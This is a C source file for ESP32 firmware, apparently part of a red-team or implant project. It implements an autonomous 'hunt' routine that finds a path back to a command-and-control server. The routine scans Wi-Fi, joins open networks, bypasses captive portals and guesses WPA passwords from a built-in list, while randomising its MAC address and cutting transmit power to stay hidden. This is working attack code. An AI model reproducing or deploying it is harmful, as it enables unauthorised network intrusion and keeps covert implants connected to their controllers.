Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
727 lines
21 KiB
C
727 lines
21 KiB
C
/*
|
|
* rt_hunt.c
|
|
* Red Team hunt state machine — autonomous network hunting.
|
|
* FreeRTOS task (8KB stack, Core 1).
|
|
*/
|
|
#include "sdkconfig.h"
|
|
#include "rt_hunt.h"
|
|
|
|
#ifdef CONFIG_MODULE_REDTEAM
|
|
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
#include "esp_log.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_event.h"
|
|
#include "esp_netif.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/event_groups.h"
|
|
#include "lwip/sockets.h"
|
|
#include "lwip/netdb.h"
|
|
|
|
#include "utils.h"
|
|
#include "rt_config.h"
|
|
#include "rt_stealth.h"
|
|
#include "rt_captive.h"
|
|
#include "rt_mesh.h"
|
|
|
|
static const char *TAG = "RT_HUNT";
|
|
|
|
#define RT_HUNT_STACK 8192
|
|
#define RT_HUNT_PRIO 6
|
|
#define RT_WIFI_TIMEOUT_MS 8000
|
|
#define RT_TCP_TIMEOUT_S 5
|
|
#define RT_RESCAN_DELAY_S 60
|
|
#define RT_MAX_WPA_TRIES 5
|
|
#define RT_WPA_MIN_RSSI -65
|
|
|
|
/* Event bits for WiFi events */
|
|
#define RT_EVT_GOT_IP BIT0
|
|
#define RT_EVT_DISCONNECT BIT1
|
|
|
|
/* ============================================================
|
|
* State
|
|
* ============================================================ */
|
|
|
|
static volatile rt_state_t s_state = RT_IDLE;
|
|
static char s_connected_ssid[33] = {0};
|
|
static char s_connected_method[16] = {0};
|
|
static volatile bool s_active = false;
|
|
static TaskHandle_t s_task_handle = NULL;
|
|
static EventGroupHandle_t s_evt_group = NULL;
|
|
|
|
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
|
|
static SemaphoreHandle_t s_state_mutex = NULL;
|
|
|
|
static inline void state_lock(void) {
|
|
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
|
|
}
|
|
static inline void state_unlock(void) {
|
|
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
|
|
}
|
|
|
|
/* Saved original WiFi config for restore */
|
|
static wifi_config_t s_orig_wifi_config;
|
|
static bool s_orig_config_saved = false;
|
|
|
|
/* State name lookup */
|
|
static const char *state_names[] = {
|
|
[RT_IDLE] = "idle",
|
|
[RT_STEALTH_PREP] = "stealth_prep",
|
|
[RT_PASSIVE_SCAN] = "passive_scan",
|
|
[RT_MESH_PROBE] = "mesh_probe",
|
|
[RT_MESH_RELAY] = "mesh_relay",
|
|
[RT_TRYING_KNOWN] = "trying_known",
|
|
[RT_TRYING_OPEN] = "trying_open",
|
|
[RT_TRYING_WPA] = "trying_wpa",
|
|
[RT_PORTAL_CHECK] = "portal_check",
|
|
[RT_PORTAL_BYPASS] = "portal_bypass",
|
|
[RT_C2_VERIFY] = "c2_verify",
|
|
[RT_CONNECTED] = "connected",
|
|
[RT_GPRS] = "gprs",
|
|
};
|
|
|
|
/* Common WPA passwords (flash, not RAM) */
|
|
static const char * const common_passwords[] = {
|
|
"12345678", "password", "00000000", "11111111",
|
|
"123456789", "1234567890", "admin1234", "wifi1234",
|
|
"internet", "guest", "welcome", "freewifi",
|
|
"password1", "qwerty123", "abcd1234", "12341234",
|
|
"home1234", "default", "changeme",
|
|
};
|
|
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
|
|
|
|
/* ============================================================
|
|
* WiFi event handler for hunt (registered dynamically)
|
|
* ============================================================ */
|
|
|
|
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
|
|
int32_t id, void *data)
|
|
{
|
|
if (!s_evt_group) return;
|
|
|
|
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
|
|
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
|
|
}
|
|
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
|
|
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
|
|
}
|
|
}
|
|
|
|
/* ============================================================
|
|
* Helpers
|
|
* ============================================================ */
|
|
|
|
static void set_state(rt_state_t new_state)
|
|
{
|
|
state_lock();
|
|
s_state = new_state;
|
|
state_unlock();
|
|
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
|
|
}
|
|
|
|
/* Try to connect to a WiFi network. Returns true if got IP. */
|
|
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
|
|
{
|
|
wifi_config_t cfg = {0};
|
|
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
|
|
if (pass && pass[0]) {
|
|
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
|
|
}
|
|
|
|
esp_wifi_disconnect();
|
|
vTaskDelay(pdMS_TO_TICKS(200));
|
|
|
|
esp_wifi_set_config(WIFI_IF_STA, &cfg);
|
|
|
|
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
|
|
esp_wifi_connect();
|
|
|
|
EventBits_t bits = xEventGroupWaitBits(
|
|
s_evt_group,
|
|
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
|
|
pdTRUE, /* clear on exit */
|
|
pdFALSE, /* any bit */
|
|
pdMS_TO_TICKS(timeout_ms)
|
|
);
|
|
|
|
if (bits & RT_EVT_GOT_IP) {
|
|
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
|
|
return true;
|
|
}
|
|
|
|
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
|
|
return false;
|
|
}
|
|
|
|
/* Try TCP connect to C2. Returns true if reachable.
|
|
* Does NOT keep the socket — just verifies connectivity. */
|
|
static bool tcp_try_c2(const char *ip, int port)
|
|
{
|
|
struct sockaddr_in addr = {0};
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(port);
|
|
addr.sin_addr.s_addr = inet_addr(ip);
|
|
|
|
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (s < 0) return false;
|
|
|
|
/* Set connect timeout */
|
|
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
|
|
|
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
|
|
lwip_close(s);
|
|
|
|
if (ret == 0) {
|
|
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* Try C2 primary + fallbacks. Returns true if any reachable. */
|
|
static bool verify_c2_reachable(void)
|
|
{
|
|
set_state(RT_C2_VERIFY);
|
|
|
|
/* Try primary C2 */
|
|
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
|
|
return true;
|
|
}
|
|
|
|
/* Try NVS fallback addresses */
|
|
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
|
|
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
/* Parse "ip:port" */
|
|
char ip_buf[48];
|
|
int port = CONFIG_SERVER_PORT;
|
|
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
|
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
|
|
|
char *colon = strrchr(ip_buf, ':');
|
|
if (colon) {
|
|
*colon = '\0';
|
|
port = atoi(colon + 1);
|
|
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
|
}
|
|
|
|
if (tcp_try_c2(ip_buf, port)) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
|
|
return false;
|
|
}
|
|
|
|
/* Mark successful connection */
|
|
static void mark_connected(const char *ssid, const char *method)
|
|
{
|
|
state_lock();
|
|
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
|
|
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
|
|
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
|
|
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
|
|
state_unlock();
|
|
set_state(RT_CONNECTED);
|
|
|
|
char buf[128];
|
|
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
|
|
msg_info(TAG, buf, NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* WiFi scan (active — passive scan is Phase 3)
|
|
* ============================================================ */
|
|
|
|
typedef struct {
|
|
char ssid[33];
|
|
uint8_t bssid[6];
|
|
int8_t rssi;
|
|
uint8_t channel;
|
|
wifi_auth_mode_t authmode;
|
|
} rt_candidate_t;
|
|
|
|
#define RT_MAX_CANDIDATES 32
|
|
|
|
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
|
|
static int s_candidate_count = 0;
|
|
|
|
static void do_wifi_scan(void)
|
|
{
|
|
s_candidate_count = 0;
|
|
|
|
esp_wifi_disconnect();
|
|
vTaskDelay(pdMS_TO_TICKS(200));
|
|
|
|
wifi_scan_config_t scan_cfg = {
|
|
.ssid = NULL,
|
|
.bssid = NULL,
|
|
.channel = 0,
|
|
.show_hidden = true,
|
|
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
|
.scan_time = {
|
|
.active = { .min = 120, .max = 300 },
|
|
},
|
|
};
|
|
|
|
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
|
|
if (err != ESP_OK) {
|
|
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
|
|
return;
|
|
}
|
|
|
|
uint16_t ap_count = 0;
|
|
esp_wifi_scan_get_ap_num(&ap_count);
|
|
if (ap_count == 0) {
|
|
ESP_LOGW(TAG, "Scan: 0 APs found");
|
|
return;
|
|
}
|
|
|
|
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
|
|
|
|
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
|
|
if (!records) {
|
|
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
|
|
return;
|
|
}
|
|
|
|
esp_wifi_scan_get_ap_records(&ap_count, records);
|
|
|
|
for (int i = 0; i < ap_count; i++) {
|
|
rt_candidate_t *c = &s_candidates[s_candidate_count];
|
|
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
|
|
c->ssid[sizeof(c->ssid) - 1] = '\0';
|
|
memcpy(c->bssid, records[i].bssid, 6);
|
|
c->rssi = records[i].rssi;
|
|
c->channel = records[i].primary;
|
|
c->authmode = records[i].authmode;
|
|
s_candidate_count++;
|
|
}
|
|
|
|
free(records);
|
|
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
|
|
|
|
/* Report to C2 */
|
|
char buf[64];
|
|
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
|
|
msg_info(TAG, buf, NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Strategy 1: Try known networks (NVS)
|
|
* ============================================================ */
|
|
|
|
static bool try_known_networks(void)
|
|
{
|
|
set_state(RT_TRYING_KNOWN);
|
|
|
|
/* Try original WiFi config first (the one we were connected to) */
|
|
if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
|
|
ESP_LOGI(TAG, "Trying original WiFi: '%s'",
|
|
(char *)s_orig_wifi_config.sta.ssid);
|
|
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
|
|
(char *)s_orig_wifi_config.sta.password,
|
|
RT_WIFI_TIMEOUT_MS)) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
|
|
}
|
|
}
|
|
|
|
/* Then try NVS known networks */
|
|
rt_network_t nets[CONFIG_RT_MAX_KNOWN_NETWORKS];
|
|
int net_count = rt_config_net_list(nets, CONFIG_RT_MAX_KNOWN_NETWORKS);
|
|
|
|
if (net_count == 0) {
|
|
ESP_LOGI(TAG, "No additional known networks in NVS");
|
|
return false;
|
|
}
|
|
|
|
/* Try each known network that was found in scan */
|
|
for (int n = 0; n < net_count; n++) {
|
|
/* Check if this SSID was in the scan results */
|
|
bool found_in_scan = false;
|
|
for (int c = 0; c < s_candidate_count; c++) {
|
|
if (strcmp(s_candidates[c].ssid, nets[n].ssid) == 0) {
|
|
found_in_scan = true;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!found_in_scan) {
|
|
/* Still try — might be hidden or missed by scan */
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);
|
|
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect(nets[n].ssid, nets[n].pass, RT_WIFI_TIMEOUT_MS)) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(nets[n].ssid, "known");
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Strategy 2: Try open WiFi networks
|
|
* ============================================================ */
|
|
|
|
static bool try_open_networks(void)
|
|
{
|
|
set_state(RT_TRYING_OPEN);
|
|
|
|
for (int i = 0; i < s_candidate_count; i++) {
|
|
if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
|
|
continue;
|
|
if (s_candidates[i].ssid[0] == '\0')
|
|
continue; /* hidden */
|
|
|
|
ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
|
|
s_candidates[i].ssid, s_candidates[i].rssi);
|
|
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect(s_candidates[i].ssid, "", RT_WIFI_TIMEOUT_MS)) {
|
|
/* Check for captive portal */
|
|
set_state(RT_PORTAL_CHECK);
|
|
rt_portal_status_t portal = rt_captive_detect();
|
|
|
|
if (portal == RT_PORTAL_NONE) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open");
|
|
return true;
|
|
}
|
|
} else if (portal == RT_PORTAL_DETECTED) {
|
|
set_state(RT_PORTAL_BYPASS);
|
|
if (rt_captive_bypass()) {
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open+portal");
|
|
return true;
|
|
}
|
|
}
|
|
ESP_LOGW(TAG, "Portal bypass failed for '%s'",
|
|
s_candidates[i].ssid);
|
|
} else {
|
|
/* RT_PORTAL_UNKNOWN — try C2 directly anyway */
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "open");
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Strategy 3: Try WPA with common passwords
|
|
* ============================================================ */
|
|
|
|
static bool try_wpa_common(void)
|
|
{
|
|
set_state(RT_TRYING_WPA);
|
|
|
|
for (int i = 0; i < s_candidate_count; i++) {
|
|
/* Only WPA/WPA2, strong signal */
|
|
if (s_candidates[i].authmode == WIFI_AUTH_OPEN ||
|
|
s_candidates[i].authmode == WIFI_AUTH_WEP)
|
|
continue;
|
|
if (s_candidates[i].rssi < RT_WPA_MIN_RSSI)
|
|
continue;
|
|
if (s_candidates[i].ssid[0] == '\0')
|
|
continue;
|
|
|
|
ESP_LOGI(TAG, "Trying WPA passwords on '%s' (RSSI=%d)",
|
|
s_candidates[i].ssid, s_candidates[i].rssi);
|
|
|
|
int tries = 0;
|
|
for (int p = 0; p < (int)NUM_COMMON_PASSWORDS && tries < RT_MAX_WPA_TRIES; p++) {
|
|
tries++;
|
|
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_randomize_mac();
|
|
#endif
|
|
|
|
if (wifi_try_connect(s_candidates[i].ssid,
|
|
common_passwords[p],
|
|
RT_WIFI_TIMEOUT_MS)) {
|
|
/* Connected! Verify C2 */
|
|
if (verify_c2_reachable()) {
|
|
mark_connected(s_candidates[i].ssid, "wpa");
|
|
return true;
|
|
}
|
|
/* Connected to WiFi but C2 unreachable — still good find,
|
|
but continue looking for one with C2 access */
|
|
ESP_LOGW(TAG, "'%s' pass='%s' — WiFi OK but no C2",
|
|
s_candidates[i].ssid, common_passwords[p]);
|
|
break; /* Don't try more passwords on this SSID */
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/* ============================================================
|
|
* Hunt task — main state machine
|
|
* ============================================================ */
|
|
|
|
extern atomic_bool fb_active; /* defined in WiFi.c */
|
|
extern void wifi_pause_reconnect(void);
|
|
extern void wifi_resume_reconnect(void);
|
|
extern SemaphoreHandle_t sock_mutex;
|
|
|
|
static void hunt_task(void *arg)
|
|
{
|
|
(void)arg;
|
|
ESP_LOGI(TAG, "Hunt task started");
|
|
|
|
/* Save original WiFi config */
|
|
if (!s_orig_config_saved) {
|
|
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
|
s_orig_config_saved = true;
|
|
}
|
|
|
|
/* Let the command response (msg_info "Hunt started") flush over TCP
|
|
* before we disconnect WiFi. Without this delay the response is lost. */
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
|
|
/* Take control of WiFi from normal reconnect logic */
|
|
fb_active = true;
|
|
wifi_pause_reconnect();
|
|
|
|
/* Register our event handler */
|
|
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
|
&rt_wifi_event_handler, NULL);
|
|
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
|
&rt_wifi_event_handler, NULL);
|
|
|
|
while (s_active) {
|
|
|
|
/* ---- STEALTH PREP ---- */
|
|
#ifdef CONFIG_RT_STEALTH
|
|
set_state(RT_STEALTH_PREP);
|
|
rt_stealth_randomize_mac();
|
|
rt_stealth_low_tx_power();
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
#endif
|
|
|
|
/* ---- SCAN ---- */
|
|
set_state(RT_PASSIVE_SCAN);
|
|
do_wifi_scan();
|
|
|
|
/* ---- MESH PROBE ---- */
|
|
#ifdef CONFIG_RT_MESH
|
|
set_state(RT_MESH_PROBE);
|
|
rt_mesh_probe();
|
|
vTaskDelay(pdMS_TO_TICKS(3000)); /* Wait for ACK */
|
|
|
|
rt_mesh_peer_t peer;
|
|
if (rt_mesh_get_relay(&peer) && peer.available) {
|
|
set_state(RT_MESH_RELAY);
|
|
msg_info(TAG, "Mesh relay available — using ESP-NOW", NULL);
|
|
mark_connected("ESP-NOW", "mesh");
|
|
|
|
/* Stay in mesh relay mode until stopped or wifi found */
|
|
while (s_active && rt_mesh_is_running()) {
|
|
vTaskDelay(pdMS_TO_TICKS(5000));
|
|
}
|
|
if (!s_active) break;
|
|
}
|
|
#endif
|
|
|
|
/* ---- STRATEGY 1: Known networks ---- */
|
|
if (s_active && try_known_networks()) break;
|
|
|
|
/* ---- STRATEGY 2: Open networks ---- */
|
|
if (s_active && try_open_networks()) break;
|
|
|
|
/* ---- STRATEGY 3: WPA common passwords ---- */
|
|
if (s_active && try_wpa_common()) break;
|
|
|
|
/* ---- STRATEGY 4: GPRS ---- */
|
|
#ifdef CONFIG_RT_GPRS_FALLBACK
|
|
set_state(RT_GPRS);
|
|
ESP_LOGW(TAG, "GPRS fallback — not yet implemented");
|
|
#endif
|
|
|
|
/* ---- All strategies failed — wait and rescan ---- */
|
|
if (!s_active) break;
|
|
|
|
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
|
RT_RESCAN_DELAY_S);
|
|
set_state(RT_IDLE);
|
|
|
|
for (int i = 0; i < RT_RESCAN_DELAY_S && s_active; i++) {
|
|
vTaskDelay(pdMS_TO_TICKS(1000));
|
|
}
|
|
}
|
|
|
|
/* ---- Cleanup ---- */
|
|
|
|
/* Unregister our handler */
|
|
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
|
&rt_wifi_event_handler);
|
|
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
|
&rt_wifi_event_handler);
|
|
|
|
if (s_state == RT_CONNECTED) {
|
|
/* We found a connection — let the normal tcp_client_task take over.
|
|
* It will use whatever WiFi we're connected to. */
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_restore_tx_power();
|
|
#endif
|
|
fb_active = false;
|
|
wifi_resume_reconnect();
|
|
ESP_LOGI(TAG, "Hunt complete — handing off to tcp_client_task");
|
|
} else {
|
|
/* Restore original WiFi config */
|
|
#ifdef CONFIG_RT_STEALTH
|
|
rt_stealth_restore_mac();
|
|
rt_stealth_restore_tx_power();
|
|
#endif
|
|
if (s_orig_config_saved) {
|
|
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
|
}
|
|
fb_active = false;
|
|
wifi_resume_reconnect();
|
|
|
|
/* Reconnect to original WiFi */
|
|
esp_wifi_connect();
|
|
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
|
}
|
|
|
|
s_task_handle = NULL;
|
|
vTaskDelete(NULL);
|
|
}
|
|
|
|
/* ============================================================
|
|
* Public API
|
|
* ============================================================ */
|
|
|
|
const char *rt_hunt_state_name(rt_state_t state)
|
|
{
|
|
if (state <= RT_GPRS)
|
|
return state_names[state];
|
|
return "unknown";
|
|
}
|
|
|
|
rt_state_t rt_hunt_get_state(void)
|
|
{
|
|
state_lock();
|
|
rt_state_t st = s_state;
|
|
state_unlock();
|
|
return st;
|
|
}
|
|
|
|
bool rt_hunt_is_active(void)
|
|
{
|
|
return s_active;
|
|
}
|
|
|
|
const char *rt_hunt_connected_ssid(void)
|
|
{
|
|
/* Returned pointer is to static buffer — safe to read while mutex
|
|
ensures the string is not being partially written. Caller should
|
|
copy if it needs to keep the value. */
|
|
static char ssid_copy[33];
|
|
state_lock();
|
|
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
|
state_unlock();
|
|
return ssid_copy;
|
|
}
|
|
|
|
const char *rt_hunt_connected_method(void)
|
|
{
|
|
static char method_copy[16];
|
|
state_lock();
|
|
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
|
state_unlock();
|
|
return method_copy;
|
|
}
|
|
|
|
void rt_hunt_trigger(void)
|
|
{
|
|
if (s_active) {
|
|
ESP_LOGW(TAG, "Hunt already active");
|
|
return;
|
|
}
|
|
|
|
/* Create mutex ONCE before any task uses it — avoids lazy init race */
|
|
if (!s_state_mutex) {
|
|
s_state_mutex = xSemaphoreCreateMutex();
|
|
}
|
|
|
|
if (!s_evt_group) {
|
|
s_evt_group = xEventGroupCreate();
|
|
}
|
|
|
|
s_active = true;
|
|
state_lock();
|
|
s_state = RT_IDLE;
|
|
s_connected_ssid[0] = '\0';
|
|
s_connected_method[0] = '\0';
|
|
state_unlock();
|
|
|
|
BaseType_t ret = xTaskCreatePinnedToCore(
|
|
hunt_task,
|
|
"rt_hunt",
|
|
RT_HUNT_STACK,
|
|
NULL,
|
|
RT_HUNT_PRIO,
|
|
&s_task_handle,
|
|
1 /* Core 1 */
|
|
);
|
|
|
|
if (ret != pdPASS) {
|
|
ESP_LOGE(TAG, "Failed to create hunt task");
|
|
s_active = false;
|
|
}
|
|
}
|
|
|
|
void rt_hunt_stop(void)
|
|
{
|
|
if (!s_active) return;
|
|
|
|
s_active = false; /* Signal task to exit */
|
|
|
|
/* Wait for task to finish cleanup (max 5s) */
|
|
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
|
vTaskDelay(pdMS_TO_TICKS(100));
|
|
}
|
|
|
|
state_lock();
|
|
s_state = RT_IDLE;
|
|
s_connected_ssid[0] = '\0';
|
|
s_connected_method[0] = '\0';
|
|
state_unlock();
|
|
ESP_LOGI(TAG, "Hunt stopped");
|
|
}
|
|
|
|
#endif /* CONFIG_MODULE_REDTEAM */
|